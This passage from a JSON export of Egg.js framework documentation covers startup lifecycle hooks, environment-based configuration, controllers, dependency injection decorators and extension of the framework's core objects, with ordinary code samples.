is indispensable, and we also provide lots of auxiliary tools to make it painless for plugin developers to write tests with, see [unit testing](../core/unittest.md) and [plugin](./plugin.md) docs.\n\n[@eggjs/security]: https://github.com/eggjs/security\n[egg-view-nunjucks]: https://github.com/eggjs/egg-view-nunjucks\n[egg-view-ejs]: https://github.com/eggjs/egg-view-ejs\n"
  },
  {
    "path": "site/docs/basics/app-start.md",
    "content": "# Application Startup Configuration\n\nWhen the application starts up, we often need to set up some initialization logic. The application bootstraps with those specific configurations. It is in a healthy state and be able to take external service requests after those configurations successfully applied. Otherwise, it failed.\n\nThe framework provides a unified entry file (`app.js`) for boot process customization. This file need returns a Boot class. We can define the initialization process in the startup application by defining the lifecycle method in the Boot class.\n\nThe framework has provided you several functions to handle during the whole [life cycle](../advanced/loader.md#life-cycles):\n\n- `configWillLoad`: All the config files are ready to load, so this is the LAST chance to modify them.\n- `configDidLoad`: When all the config files have been loaded.\n- `didLoad`: When all the files have been loaded.\n- `willReady`: When all the plug-ins are ready.\n- `didReady`: When all the workers are ready.\n- `serverDidReady`: When the server is ready.\n- `beforeClose`: Before the application is closed.\n\nWe can defined Boot class in `app.js`. Below we take a few examples of lifecycle functions commonly used in application development:\n\n```js\n// app.js\nclass AppBootHook {\n  constructor(app) {\n    this.app = app;\n  }\n\n  configWillLoad() {\n    // The config file has been read and merged, but it has not yet taken effect\n    // This is the last time the application layer modifies the configuration\n    // Note: This function only supports synchronous calls.\n\n    // For example: the password in the parameter is encrypted, decrypt it here\n    this.app.config.mysql.password = decrypt(this.app.config.mysql.password);\n    // For example: insert a middleware into the framework's coreMiddleware\n    const statusIdx = this.app.config.coreMiddleware.indexOf('status');\n    this.app.config.coreMiddleware.splice(statusIdx + 1, 0, 'limit');\n  }\n\n  async didLoad() {\n    // All configurations have been loaded\n    // Can be used to load the application custom file, start a custom service\n\n    // Example: Creating a custom app example\n    this.app.queue = new Queue(this.app.config.queue);\n    await this.app.queue.init();\n\n    // For example: load a custom directory\n    this.app.loader.loadToContext(path.join(__dirname, 'app/tasks'), 'tasks', {\n      fieldClass: 'tasksClasses',\n    });\n  }\n\n  async willReady() {\n    // All plugins have been started, but the application is not yet ready\n    // Can do some data initialization and other operations\n    // Application will start after these operations executed succcessfully\n\n    // For example: loading data from the database into the in-memory cache\n    this.app.cacheData = await this.app.model.query(QUERY_CACHE_SQL);\n  }\n\n  async didReady() {\n    // Application already ready\n\n    const ctx = await this.app.createAnonymousContext();\n    await ctx.service.Biz.request();\n  }\n\n  async serverDidReady() {\n    // http / https server has started and begins accepting external requests\n    // At this point you can get an instance of server from app.server\n\n    this.app.server.on('timeout', (socket) => {\n      // handle socket timeout\n    });\n  }\n}\n\nmodule.exports = AppBootHook;\n```\n\n**Note: It is not recommended to do long-time operations in the custom lifecycle function, because the framework has a startup timeout detection.**\n\nIf your Egg's life-cycle functions are old, we suggest you upgrading to the \"class-method\" mode. For more you can refer to [Upgrade your event functions in your lifecycle](../advanced/loader-update.md).\n"
  },
  {
    "path": "site/docs/basics/config.md",
    "content": "---\ntitle: Configuration\norder: 4\n---\n\nThis framework provides powerful and extensible configuration function, including automatically merging applications, plugins, and framework's configuration. In addition, it allows users to overwrite configuration in sequence and maintain different configs depending on different environments. The result (i.e. merged config) can be accessed from `app.config `.\n\nHere are some common control tactics:\n\n1. Using platform to manage configurations: while building a new application, you can put the current environment configuration into package and trigger the configuration as long as you run this application. But this certain application won't be able to build several deployments at once, and you will get into trouble whenever you want to use the configuration in localhost.\n2. Using platform to manage configurations: you can pass the current environment configuration via environment variables while starting. This is a relatively elegant approach with higher requirement on operation and support from configuration platform. Moreover, The configuration environment has same flaws as first method.\n3. Using code to manage configurations: you can add some environment configurations in codes and pass them to current environment arguments while starting. However, it doesn't allow you to configure globally and you need to alter your code whenever you want to change the configuration.\n\nwe choose the last strategy, namely **configure with code**, The change of configuration should be also released after reviewing. The application package itself is capable to be deployed in several environments, only need to specify the running environment.\n\n### Multiple Environment Configuration\n\nThis framework supports loading configuration according to the environment and defining configuration files of multiple environments. For more details, please check [env](../basics/env.md).\n\n```\nconfig\n|- config.default.js\n|- config.prod.js\n|- config.unittest.js\n|- config.local.js\n```\n\n`config.default.js` is the default file for configuration, and all environments will load this file. Besides, this is usually used as default configuration file for development environment.\n\nThe corresponding configuration file(named configuration) will be loaded simultaneously when you set up env. The named configuration and the default configuration will combine(use [extend2](https://www.npmjs.com/package/extend2) deep clone) into a configuration eventually. And the same name will be overwritten. For example, `prod` environment will load `config.prod.js` and `config.default.js`. As a result, `config.prod.js` will overwrite the configuration with identical name in `config.default.js`.\n\n### How to Write Configuration\n\nThe configuration file returns an object which could overwrite some configurations in the framework. Application can put its own business configuration into it for convenient management.\n\n```js\n// configure the catalog of logger，the default configuration of logger is provided by framework\nmodule.exports = {\n  logger: {\n    dir: '/home/admin/logs/demoapp',\n  },\n};\n```\n\nThe configuration file can simplify to `exports.key = value` format\n\n```js\nexports.keys = 'my-cookie-secret-key';\nexports.logger = {\n  level: 'DEBUG',\n};\n```\n\nThe configuration file can also return a function which could receive a parameter called `appInfo`\n\n```js\n// put the catalog of logger to the catalog of codes\nconst path = require('path');\nmodule.exports = (appInfo) => {\n  return {\n    logger: {\n      dir: path.join(appInfo.baseDir, 'logs'),\n    },\n  };\n};\n```\n\nThe build-in appInfo contains:\n\n| appInfo | elaboration                                                                                                   |\n| ------- | ------------------------------------------------------------------------------------------------------------- |\n| pkg     | package.json                                                                                                  |\n| name    | Application name, same as pkg.name                                                                            |\n| baseDir | The directory of codes                                                                                        |\n| HOME    | User directory, e.g, the account of admin is /home/admin                                                      |\n| root    | The application root directory, if the environment is local or unittest, it is baseDir. Otherwise, it is HOME |\n\n`appInfo.root` is an elegant adaption. for example, we tend to use `/home/admin/logs` as the catalog of log in the server environment, while we don't want to pollute the user catalog in local development. This adaptation is very good at solving this problem.\n\nChoose the appropriate style according to the specific situation, but please make sure you don't make mistake like the code below:\n\n```js\n// config/config.default.js\nexports.someKeys = 'abc';\nmodule.exports = (appInfo) => {\n  const config = {};\n  config.keys = '123456';\n  return config;\n};\n```\n\n### Sequence of Loading Configurations\n\nApplications, plugin components and framework are able to define those configs. Even though the structure of catalog is identical but there is priority (application > framework > plugin). Besides, the running environment has the higher priority.\n\nHere is one sequence of loading configurations under \"prod\" environment, in which the following configuration will overwrite the previous configuration with the same name.\n\n    -> plugin config.default.js\n    -> framework config.default.js\n    -> application config.default.js\n    -> plugin config.prod.js\n    -> framework config.prod.js\n    -> application config.prod.js\n\n**Note: there will be plugin loading sequence, but the approximate order is similar. For specific logic, please check the [loader](../advanced/loader.md) .**\n\n### Rules of Merging\n\nConfigs are merged using deep copy from [extend2] module, which is forked from [extend] and process array in a different way.\n\n```js\nconst a = {\n  arr: [1, 2],\n};\nconst b = {\n  arr: [3],\n};\nextend(true, a, b);\n// => { arr: [ 3 ] }\n```\n\nAs demonstrated above, the framework will overwrite arrays instead of merging them.\n\n### Configuration Result\n\nThe final merged config will be dumped to `run/application_config.json`(for worker process) and `run/agent_config.json`(for agent process) when the framework started, which can help analyzing problems.\n\nSome fields are hidden in the config file, mainly including 2 types:\n\n- like passwords, secret keys and other security related fields which can be configured in `config.dump.ignore` and only [Set](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set) type is accepted. See [Default Configs](https://github.com/eggjs/egg/blob/master/config/config.default.js)\n- like Function, Buffer, etc. whose content converted by `JSON.stringify` will be specially large.\n\n`run/application_config_meta.json` (for worker process）and `run/agent_config_meta.json` (for agent process) will also be dumped in order to check which file defines the property, see below\n\n```json\n{\n  \"logger\": {\n    \"dir\": \"/path/to/config/config.default.js\"\n  }\n}\n```\n"
  },
  {
    "path": "site/docs/basics/controller.md",
    "content": "# Controller\n\n## Use Cases\n\nTypically, web applications adopt the `MVC` architecture, where `C` stands for Controller, which is responsible for parsing user input, processing it, and returning the corresponding result.\n\nIn simple terms, when you need to add an interface that provides services such as HTTP to the application, use the corresponding Controller decorator to define and implement it.\n\nAfter implementing an HTTPController, clients can request the server's controller via HTTP protocol. After the controller completes processing, it responds to the client. This is the most basic \"request-response\" flow.\n\n## Best Practices\n\nGenerally speaking, Controllers should not contain too much business logic and should only handle protocol-related processing.\n\n- Get request parameters passed by the client, such as using decorators like HTTPHeader or HTTPBody in HTTPController to obtain request parameters.\n- Validate and assemble request parameters to ensure that parameters processed in subsequent business logic meet expectations.\n- Call Service for business processing.\n- Transform the results returned by Service, such as rendering to HTML.\n- Based on the communication protocol, assemble response data and return it to the client.\n\n## Supported Types\n\nEgg provides different Controller decorators for implementing different types of interfaces, which can be selected based on requirements.\n\n| Controller Decorator                                 | Description                                             |\n| ---------------------------------------------------- | ------------------------------------------------------- |\n| [@HTTPController / @HTTPMethod](./httpcontroller.md) | Used to implement HTTP interfaces                       |\n| [@MCPController](./mcpcontroller.md)                 | Used to implement MCP Server                            |\n| [@Schedule](./schedule.md)                           | Used for **standard apps** to implement scheduled tasks |\n"
  },
  {
    "path": "site/docs/basics/di.md",
    "content": "# Dependency Injection\n\n## Proto\n\nIn domain-driven development, we generally place logic in Services. In Egg.js, this is implemented through `Proto`.\n\n`Proto` provides configurable information:\n\n- Instantiation method: instantiate per request / global singleton\n- Access level: whether accessible outside the `Module`\n- Instantiation name\n\n## Instantiation Method\n\nIncludes two forms: `ContextProto` and `SingletonProto`. For specific details, please refer to the documentation below.\n\n## Instantiation Name\n\nThis is crucial as it determines which instance should be injected with `@Inject`. By default, the first letter of the Proto class is converted to lowercase, e.g., `UserAdapter` becomes `userAdapter`.\nIf it doesn't meet expectations, you can manually specify it, for example:\n\n```ts\n// The instance name of MISTAdapter is mistAdapter\n@SingletonProto({ name: 'mistAdapter' })\nclass MISTAdapter {}\n```\n\n## Access Level\n\nAll prototypes within a Module can be depended on (`@Inject`) by other prototypes in the same Module. Only prototypes with `accessLevel: AccessLevel.PUBLIC` can be accessed by other Modules. The default access level is `AccessLevel.PRIVATE`\n\n```ts\nroot dir\n└── app\n    └── module\n        ├── fooModule\n        │   ├── Private.ts\n        │   ├── Public.ts\n        │   └── Access.ts  // Can Inject Private/Public\n        └── barModule\n            └── Access.ts  // Can only Inject Public\n```\n\n:::warning\nLogic within a Module should be as cohesive as possible, exposing only necessary interfaces.\nOnce exposed, dependencies are created, and you must consider backward compatibility when changing interface code.\n:::\n\n## SingletonProto\n\n### Definition\n\nSimilar to `ContextProto`, only one `SingletonProto` will be instantiated during the entire application lifecycle.\n\nIt's recommended to use `SingletonProto` by default, as it can improve application performance, and you can inject `ContextProto` objects within `SingletonProto`.\n\n```ts\n@SingletonProto({\n  // The instantiation name of the prototype, optional\n  name?: string;\n\n  // Whether the object is accessible within the module or globally\n  // Default value is AccessLevel.PRIVATE\n  accessLevel?: AccessLevel;\n})\n```\n\n### Example\n\n```ts\n// biz/HelloService.ts\nimport { SingletonProto } from 'egg';\n\n@SingletonProto()\nexport class HelloService {\n  async hello(): Promise<string> {\n    return 'hello';\n  }\n}\n\n@SingletonProto({\n  name: 'worldInterface',\n})\nexport class WorldService {\n  async world(): Promise<string> {\n    return 'world!';\n  }\n}\n```\n\n## ContextProto\n\n### Definition\n\nA `ContextProto` will be instantiated for each request.\n:::info\nMost `Service` classes are stateless and don't store request context. In such cases, it's recommended to use `SingletonProto` instead. This is because only one object needs to be initialized globally, rather than initializing an object for each request (which would degrade application performance).\nFor scenarios that need to store request context information and share it across multiple `Service` classes, you can use `ContextProto` to ensure objects obtained by different requests are isolated.\n:::\n\n```ts\nenum AccessLevel {\n  // Only accessible within module\n  PRIVATE = 'PRIVATE',\n  // Globally accessible\n  PUBLIC = 'PUBLIC',\n}\n\n@ContextProto({\n  // The instantiation name of the prototype, optional\n  name?: string;\n\n  // Whether the object is accessible within the module or globally\n  // Default value is AccessLevel.PRIVATE\n  accessLevel?: AccessLevel;\n})\n```\n\n### Example\n\n```ts\n// service.ts\nimport { ContextProto } from 'egg';\n\n@ContextProto()\nexport class HelloService {\n  async hello(): Promise<string> {\n    return 'hello';\n  }\n}\n\n@ContextProto({\n  name: 'worldInterface',\n})\nexport class WorldService {\n  async world(): Promise<string> {\n    return 'world!';\n  }\n}\n```\n\nHow to inject and use it:\n\n```ts\nimport { Inject, ContextProto } from 'egg';\nimport { HelloService, WorldService } from './service.ts';\n\n@ContextProto()\nexport class UseProtoDemo {\n  @Inject()\n  helloService: HelloService;\n\n  @Inject()\n  worldInterface: WorldService;\n\n  async say(): Promise<string> {\n    return this.helloService.hello() + ',' + this.worldInterface.world();\n  }\n}\n```\n\n<style>\n.ne-alert {\n    display: block;\n    width: 100%;\n    margin: 4px 0;\n    padding: 10px;\n    border-radius: 4px;\n}\n.ne-alert-background {\n    background-color: rgba(246, 225, 172, 0.5);\n}\n.ne-error-background {\n    background-color: rgba(248, 206, 211, 0.5);\n}\n.context-p-mini-top {\n    margin-top: 8px;\n}\n.context-no-bottom {\n    padding-bottom: 0px;\n    margin-bottom: 0px;\n}\n</style>\n\n## Inject\n\n### Definition\n\nPrototypes can depend on other prototypes or objects in Egg. Dependency injection is implemented through the `@Inject` decorator.\n\n```ts\n@Inject(param?: {\n  // Name of the injected object, in some cases a prototype may have multiple instances\n  // For example, egg's logger\n  // Defaults to property name\n  name?: string;\n  // Name of the injected prototype\n  // In some cases you don't want the injected prototype to use the same name as the property\n  // Defaults to property name\n  proto?: string;\n})\n```\n\n### Example\n\n```ts\nimport { Inject, SingletonProto, Logger } from 'egg';\n\n@SingletonProto()\nexport class HelloService {\n  @Inject()\n  fooService: FooService; // Inject other prototype instances\n\n  @Inject()\n  logger: Logger; // Inject egg objects\n\n  async hello(user: User): Promise<string> {\n    this.logger.info(`[HelloService] hello ${this.fooService.hello()}`);\n  }\n}\n```\n\n### Usage Notes\n\nThere are several points to note when using Inject:\n\n- Circular dependencies are not allowed between prototypes, e.g., Proto A - inject -> Proto B - inject-> Proto A\n- Similarly, circular dependencies are not allowed between `Module`s\n- A `Module` cannot have prototypes with the same instantiation method and name\n- <font color=red>You cannot inject Egg's `ctx`/`app`, inject what you use</font>\n\n#### The Role of Inject name\n\nIt allows the injected instance name to be different from the prototype instantiation, which is useful when using aliases.\n\n```ts\n/*** Define prototypes ***/\n@SingletonProto()\nexport class HelloService {\n  async hello(): Promise<string> {\n    return 'hello';\n  }\n}\n\n@SingletonProto({\n  name: 'worldInterface',\n})\nexport class WorldService {\n  async world(): Promise<string> {\n    return 'world!';\n  }\n}\n\n/*** Inject prototypes ***/\n@SingletonProto()\nclass Foo {\n  @Inject()\n  helloService: HelloService;\n\n  @Inject({ name: 'helloService' })\n  aliasHelloService: HelloService; // Equivalent to helloService above\n\n  @Inject({ name: 'worldInterface' })\n  worldService: WorldService;\n}\n```\n\n#### The Role of Inject Type\n\nInjection depends on the proto name, not the type, so the following code still works:\n\n```ts\nimport { Inject, SingletonProto } from 'egg';\n\n@SingletonProto()\nclass Foo {\n  @Inject()\n  redis: any; // Type defined as any can still inject redis from Egg Context\n}\n```\n\nThe role of the type here is only for TypeScript type hints (e.g., setting it to `any` just means missing Redis SDK API hints).\n\n### Egg Compatibility\n\nModule automatically traverses the `Context`/`Application` objects to get all their properties. <strong>All properties</strong> can be seamlessly injected, as in the common examples below:\n\n#### Inject Egg Configuration\n\n```ts\nimport { Inject, SingletonProto, EggAppConfig } from 'egg';\n\n@SingletonProto()\nclass Foo {\n  @Inject()\n  config: EggAppConfig;\n\n  bar() {\n    console.log('current env is %s', this.config.env);\n  }\n}\n```\n\n#### Inject logger\n\nOptimized specifically for logger, you can directly inject custom loggers:\n\n```ts\n// config/config.default.ts\nexport default {\n  customLogger: {\n    fooLogger: {\n      file: 'foo.log',\n    },\n  },\n};\n```\n\nYou can directly inject in the code:\n\n```ts\nimport { Inject, SingletonProto, Logger } from 'egg';\n\n@SingletonProto()\nclass FooService {\n  // Inject ${appname}-web.log\n  @Inject()\n  logger: Logger;\n\n  // Inject egg-web.log\n  @Inject()\n  coreLogger: Logger;\n\n  // Inject customLogger named fooLogger\n  @Inject()\n  fooLogger: Logger;\n}\n```\n\n#### Inject `Service`\n\n:::warning\nIt is strongly recommended to re-encapsulate Egg Service code through `Proto` before injecting. For existing `Service` patterns, you can introduce them as follows:\n:::\n\n```ts\nimport { EggLogger, Service, Inject, SingletonProto } from 'egg';\n\n@SingletonProto()\nclass FooService {\n  // Inject the entire ctx.service, then get the corresponding xxxService\n  @Inject()\n  service: Service;\n\n  get xxxService() {\n    return this.service.xxxService;\n  }\n}\n```\n\n#### Inject `HttpClient`\n\n```ts\nimport { Inject, SingletonProto, HttpClient } from 'egg';\n\n@SingletonProto()\nclass Foo {\n  @Inject()\n  httpClient: HttpClient;\n\n  async bar() {\n    await this.httpClient.request('https://alipay.com');\n  }\n}\n```\n\n#### Inject Egg Methods\n\nSince `Module` injection can only inject objects, not methods, if you need to use existing Egg methods, you need to encapsulate the methods.\n\nFor example: Suppose there's a method `getHeader` on `Context`. To use this method in `Module`, you need to encapsulate it as follows.\n\n```ts\n// extend/context.ts\nexport default {\n  getHeader() {\n    return '23333';\n  },\n};\n```\n\nFirst, encapsulate the method as an object.\n\n```ts\n// HeaderHelper.ts\nclass HeaderHelper {\n  constructor(ctx) {\n    this.ctx = ctx;\n  }\n\n  getHeader(): string {\n    return this.ctx.getHeader();\n  }\n}\n```\n\nThen put the object on the `Context` extension.\n\n```ts\n// extend/context.ts\nconst HEADER_HELPER = Symbol('context#headerHelper');\n\nexport default {\n  get headerHelper() {\n    if (!this[HEADER_HELPER]) {\n      this[HEADER_HELPER] = new HeaderHelper(this);\n    }\n    return this[HEADER_HELPER];\n  },\n};\n```\n\n## Prototype Name Conflicts Within `Module`\n\n### Definition\n\nWithin a `Module`, there are two prototypes with the same name but different instantiation methods. Direct `Inject` won't work because the `Module` cannot determine which object is needed.\nIn this case, you need to tell the `Module` which instantiation method the injected object should use.\n\n```ts\n@InitTypeQualifier(initType: ObjectInitType)\n```\n\n### Example\n\n```ts\nimport {\n  Logger,\n  Inject,\n  InitTypeQualifier,\n  ObjectInitType,\n  SingletonProto,\n} from 'egg';\n\n@SingletonProto()\nexport class HelloService {\n  @Inject()\n  // Explicitly specify logger with instantiation method CONTEXT\n  @InitTypeQualifier(ObjectInitType.CONTEXT)\n  logger: Logger;\n}\n```\n\n## Prototype Name Conflicts Between `Module`s\n\n### Definition\n\nMultiple `Module`s may implement a prototype named `HelloService`. You need to explicitly tell the `Module` which `Module` the injected prototype comes from.\n\n```ts\n@ModuleQualifier(moduleName: string)\n```\n\n### Example\n\n```ts\nimport { Inject, InitTypeQualifier, ObjectInitType, Logger } from 'egg';\n\n@SingletonProto()\nexport class HelloService {\n  @Inject()\n  // Explicitly specify HelloAdapter from the foo `Module`\n  @ModuleQualifier('foo')\n  helloAdapter: HelloAdapter;\n}\n```\n\n## Qualifier Dynamic Injection\n\n### Use Cases\n\nWe often have different implementations for different scenarios in our code. A simple approach is to use if/else or switch at the point of use.\nHowever, this presents a problem: every time we need to extend a type, we need to modify at least two places - one is to add the implementation, and the other is to add a code branch where it's used.\nThis often leads to omissions, causing issues in our code. We want changes to be converged, so that implementations are dynamically available once implemented.\nTherefore, dynamic injection was introduced to solve this problem.\n\n### Usage\n\n1. Define an abstract class and a type enum.\n\n```typescript\nexport enum HelloType {\n  FOO = 'FOO',\n  BAR = 'BAR',\n}\n\n// AbstractHello.ts\nexport abstract class AbstractHello {\n  abstract hello(): string;\n}\n```\n\n2. Define a custom enum.\n\n:::danger\nNotes:\n\n- **Don't duplicate ATTRIBUTE, as it may cause implementations to be overwritten**\n- **Don't specify the wrong abstract class, as it may cause implementations to be overwritten**\n  :::\n\n```typescript\nimport { ImplDecorator, QualifierImplDecoratorUtil } from 'egg';\nimport { HelloType } from '../HelloType.ts';\nimport { AbstractHello } from '../AbstractHello.ts';\n\nexport const HELLO_ATTRIBUTE = Symbol('HELLO_ATTRIBUTE');\n\n// This utility class can implement type checking\n// 1. With this annotation, you must implement the abstract class\n// 2. The annotation parameter must be an enum value\nexport const Hello: ImplDecorator<AbstractHello, typeof HelloType> =\n  QualifierImplDecoratorUtil.generatorDecorator(AbstractHello, HELLO_ATTRIBUTE);\n```\n\n3. Implement the abstract class.\n\n```typescript\nimport { SingletonProto } from 'egg';\nimport { Hello } from '../decorator/Hello.ts';\nimport { HelloType } from '../HelloType.ts';\nimport { AbstractHello } from '../AbstractHello.ts';\n\n@SingletonProto()\n@Hello(HelloType.BAR)\nexport class BarHello extends AbstractHello {\n  hello(): string {\n    return 'hello, bar';\n  }\n}\n```\n\n4. Dynamically get the implementation.\n\n```typescript\nimport { EggObjectFactory, SingletonProto, Inject } from 'egg';\nimport { HelloType } from './HelloType.ts';\nimport { AbstractHello } from './AbstractHello.ts';\n\n@SingletonProto()\nexport class HelloService {\n  @Inject()\n  private eggObjectFactory: EggObjectFactory;\n\n  async hello(): Promise<string> {\n    const helloImpl = await this.eggObjectFactory.getEggObject(\n      AbstractHello,\n      HelloType.BAR,\n    );\n    return helloImpl.hello();\n  }\n}\n```\n\n### Real-World Example\n\n[cnpmcore/app/common/adapter/binary/AbstractBinary.ts](https://github.com/cnpm/cnpmcore/blob/b6c96defa4c61783e1bf9a1b5dbe2420918ab69a/app/common/adapter/binary/AbstractBinary.ts#L136)\n\n### FAQ\n\n- What if I don't have an enum and the type is infinitely extensible?\n\n```typescript\n// Use a record to masquerade as an enum\ntype AnyEnum = Record<string, string>;\n\nexport const Convertor: ImplDecorator<AbstractFoo, AnyEnum> =\n  QualifierImplDecoratorUtil.generatorDecorator(AbstractFoo, FOO_ATTRIBUTE);\n```\n"
  },
  {
    "path": "site/docs/basics/env.md",
    "content": "---\ntitle: Runtime Environment\norder: 3\n---\n\nAn web application itself should be stateless and has the ability to set its own according to the runtime environment.\n\n## Configure Runtime Environment\n\nEgg has two ways to configure runtime environment:\n\n1. Use `config/env` file, usually we use the build tools to generate this file, the content of this file is just an env value, such as `prod`.\n\n```\n// config/env\nprod\n```\n\n2. Defining the runtime environment via `EGG_SERVER_ENV` when you start the application is more convenient, for example, use the code below to start the application in the production environment.\n\n```shell\nEGG_SERVER_ENV=prod npm start\n```\n\n## Access to the Runtime Environment in Application\n\nEgg provides a variable `app.config.env` to represent the current runtime environment of application.\n\n## Configurations of Runtime Environment\n\nDifferent running environment corresponds to different configurations, read [Configuration of Config](./config.md) in detail.\n\n## Difference from `NODE_ENV`\n\nLots of Node.js applications use `NODE_ENV` to distinguish the runtime environment, but `EGG_SERVER_ENV` distinguishes the environments much more specific. Generally speaking, there are local environment, test environment, production environment during the application development. In addition to the local development environment and the test environment, other environments are collectively referred to as the **Server Environment** and their `NODE_ENV` should be set to `production`. What's more, npm will use this variable and will not install the devDependencies when you deploy applications, so `production` should also be applied.\n\nDefault mapping of `EGG_SERVER_ENV` and `NODE_ENV` (will generate `EGG_SERVER_ENV` from `NODE_ENV` setting if `EGG_SERVER_ENV` is not specified)\n\n| NODE_ENV   | EGG_SERVER_ENV | remarks                       |\n| ---------- | -------------- | ----------------------------- |\n|            | local          | local development environment |\n| test       | unittest       | unit test environment         |\n| production | prod           | production environment        |\n\nFor example, `EGG_SERVER_ENV` will be set to prod when `NODE_ENV` is set as `production` and `EGG_SERVER_ENV` is not specified.\n\n## Environment Customization\n\nIn normal development process, it's not limit to these environments mentioned above. So you can customize environment for your development process.\n\nFor example, if you want to add SIT (System integration testing) to development process, you can set `EGG_SERVER_ENV` to `sit` (also recommend to set `NODE_ENV = production`), the framework will load `config/config.sit.js` when launching, and the runtime environment `app.config.env` will be `sit`.\n\n## Difference from Koa\n\nWe are using `app.env` to distinguish the environments in Koa, and the default value for `app.env` is `process.env.NODE_ENV`. But in Egg (and frameworks base on Egg), we put all the configurations in `app.config`, so we should use `app.config.env` to distinguish the environments, `app.env` is no longer used.\n"
  },
  {
    "path": "site/docs/basics/extend.md",
    "content": "---\ntitle: Extend EGG\norder: 11\n---\n\nEgg.js is extensible and it provides multiple extension points to enhance the functionality of itself:\n\n- Application\n- Context\n- Request\n- Response\n- Helper\n\nWe could use the extension APIs to help us to develop, or extend the objects given above to enhance the functionality of egg as well while programming.\n\n## Application\n\nThe object `app` is just the same aspect as the global application object in Koa. There should be only one `app` in your application, and it will be created by egg when the application is started.\n\n### Access Method\n\n- `ctx.app`\n- You can access the Application object by using `this.app` in Controller, Middleware, Helper, Service. For instance, `this.app.config` will help you access the Config object.\n- The `app` object would be injected into the entry function as the first argument in `app.js`, like this:\n\n  ```js\n  // app.js\n  module.exports = (app) => {\n    // here you can use the app object\n  };\n  ```\n\n### How to Extend\n\nEgg will merge the object defined in `app/extend/application.js` with the prototype of Application object in Koa, then generate object `app` which is based on the extended prototype when application is started.\n\n#### Extend Methods\n\nIf we want to create a method `app.foo()`, we can do it like this: ：\n\n```js\n// app/extend/application.js\nmodule.exports = {\n  foo(param) {\n    // `this` points to the object app, you can access other methods or property of app with this\n  },\n};\n```\n\n#### Extend Properties\n\nGenerally speaking, the calculation of properties only need to be done once, therefore we have to do some cache, otherwise it will degrade performance of the app as too much calculation would be going to do when accessing those properties several times.\n\nSo, it's recommended to use Symbol + Getter.\n\nFor example, if we would like to add a Getter property `app.bar`:\n\n```js\n// app/extend/application.js\nconst BAR = Symbol('Application#bar');\n\nmodule.exports = {\n  get bar() {\n    // `this` points to the app object, you can access other methods or property of app with this\n    if (!this[BAR]) {\n      // It should be more complex in real situation\n      this[BAR] = this.config.xx + this.config.yy;\n    }\n    return this[BAR];\n  },\n};\n```\n\n## Context\n\nContext means the context in Koa, which is a **Request Level** object. That is to say, every request from client will generate an Context instance. We usually write Context as `ctx` in short. In all the doc, both Context and `ctx` means the context object in Koa.\n\n### Access Method\n\n- `this` in middleware is ctx, such as `this.cookies.get('foo')`。\n- There are two different ways to write controller. If you use class to describe controller, you can use `this.ctx` to access Context. Or if you write as method, you can access Context with `ctx` directly.\n- `this` in helper, service points to the helper object and service object themselves. Simply use `this.ctx` to access Context object, such as `this.ctx.cookies.get('foo')`.\n\n### How to extend\n\nEgg will merge the object defined in `app/extend/context.js` with the prototype of Context object in Koa. And it will generate a `ctx` object which is based on the extended prototype when deal with request.\n\n#### Extend Methods\n\nFor instance, we could add a method `ctx.foo()` in the following way:\n\n```js\n// app/extend/context.js\nmodule.exports = {\n  foo(param) {\n    // `this` points to the ctx object, you can access other methods or property of ctx\n  },\n};\n```\n\n#### Extend Properties\n\nGenerally speaking, the calculation of properties only need to do once, therefore we have to do some cache, otherwise it will degrade performance of the app as too much calculation would be going to do when access those properties several times.\n\nSo, it's recommended to use Symbol + Getter.\n\nFor example, if we would like to add a Getter property `ctx.bar`:\n\n```js\n// app/extend/context.js\nconst BAR = Symbol('Context#bar');\n\nmodule.exports = {\n  get bar() {\n    // `this` points to the ctx object, you can access other methods or property of ctx\n    if (!this[BAR]) {\n      // For example, we can get from header, but it should be more complex in real situation.\n      this[BAR] = this.get('x-bar');\n    }\n    return this[BAR];\n  },\n};\n```\n\n## Request\n\nRequest object is the same as that in Koa, which is a **Request Level** object. It provides a great number of methods to help to access the properties and methods you need.\n\n### Access Method\n\n```js\nctx.request;\n```\n\nSo many properties and methods in `ctx` can also be accessed in `request` object. For those properties and methods, it is just the same to access them by using either `ctx` or `request`, such as `ctx.url === ctx.request.url`.\n\nHere are the properties and methods in `ctx` which can also be accessed by Request aliases: [Koa - Request aliases](http://koajs.com/#request-aliases)\n\n### How to Extend\n\nEgg will merge the object defined in `app/extend/request.js` and the prototype of `request` object built in egg. And it will generate a `request` object which is based on the extended prototype when deal with request.\n\nFor instance, we could add a property `request.foo` in the following way:\n\n```js\n// app/extend/request.js\nmodule.exports = {\n  get foo() {\n    return this.get('x-request-foo');\n  },\n};\n```\n\n## Response\n\nResponse object is the same as that in Koa, which is a **Request Level** object. It provides a great number of methods to help to access the properties and methods you need.\n\n### Access Method\n\n```js\nctx.response;\n```\n\nSo many properties and methods in `ctx` can also be accessed in `response` object. For those properties and methods, it is just the same to access them by using either `ctx` or `response`. For example `ctx.status = 404` is the same as `ctx.response.status = 404`.\n\nHere are the properties and methods in `ctx` which can also be accessed by Response aliases: [Koa Response aliases](http://koajs.com/#response-aliases)\n\n### How to Extend\n\nEgg will merge the object defined in `app/extend/response.js` and the prototype of `response` object build in egg. And it will generate a `response` object which is based on the extended prototype after dealt with request.\n\nFor instance, we could add a setter `request.foo` in the following way:\n\n```js\n// app/extend/response.js\nmodule.exports = {\n  set foo(value) {\n    this.set('x-response-foo', value);\n  },\n};\n```\n\nThen we can use the setter like this: `this.response.foo = 'bar';`\n\n## Helper\n\nFunction Helper can provides some useful utility functions.\n\nWe can put some utility functions we use ofter into helper.js as an individual function. Then we can write the complex codes in JavaScript, avoiding to write them everywhere. Besides, such a simple function like Helper allows to write test case much easier.\n\nEgg has had some build-in Helper functions. We can write our own Helper as well.\n\n### Access Method\n\nAccess helper object with `ctx.helper`, for example:\n\n```js\n// Assume that home router has already defined in app/router.js\napp.get('home', '/', 'home.index');\n\n// Use helper to calculate the specific url path\nctx.helper.pathFor('home', { by: 'recent', limit: 20 });\n// => /?by=recent&limit=20\n```\n\n### How to Extend\n\nEgg will merge the object defined in `app/extend/helper.js` and the prototype of `helper` object build in egg. And it will generate a `helper` object which is based on the extended prototype after dealt with request.\n\nFor instance, we could add a method `helper.foo()` in the following way:\n\n```js\n// app/extend/helper.js\nmodule.exports = {\n  foo(param) {\n    // // `this` points to the helper object, you can access other methods or property of helper\n    // this.ctx => context object\n    // this.app => application object\n  },\n};\n```\n\n## Extend according to environment\n\nBesides, we can extend the framework in an optional way according to the environment. For example, if you want `mockXX()` only be able to accessed when doing unittest:\n\n```js\n// app/extend/application.unittest.js\nmodule.exports = 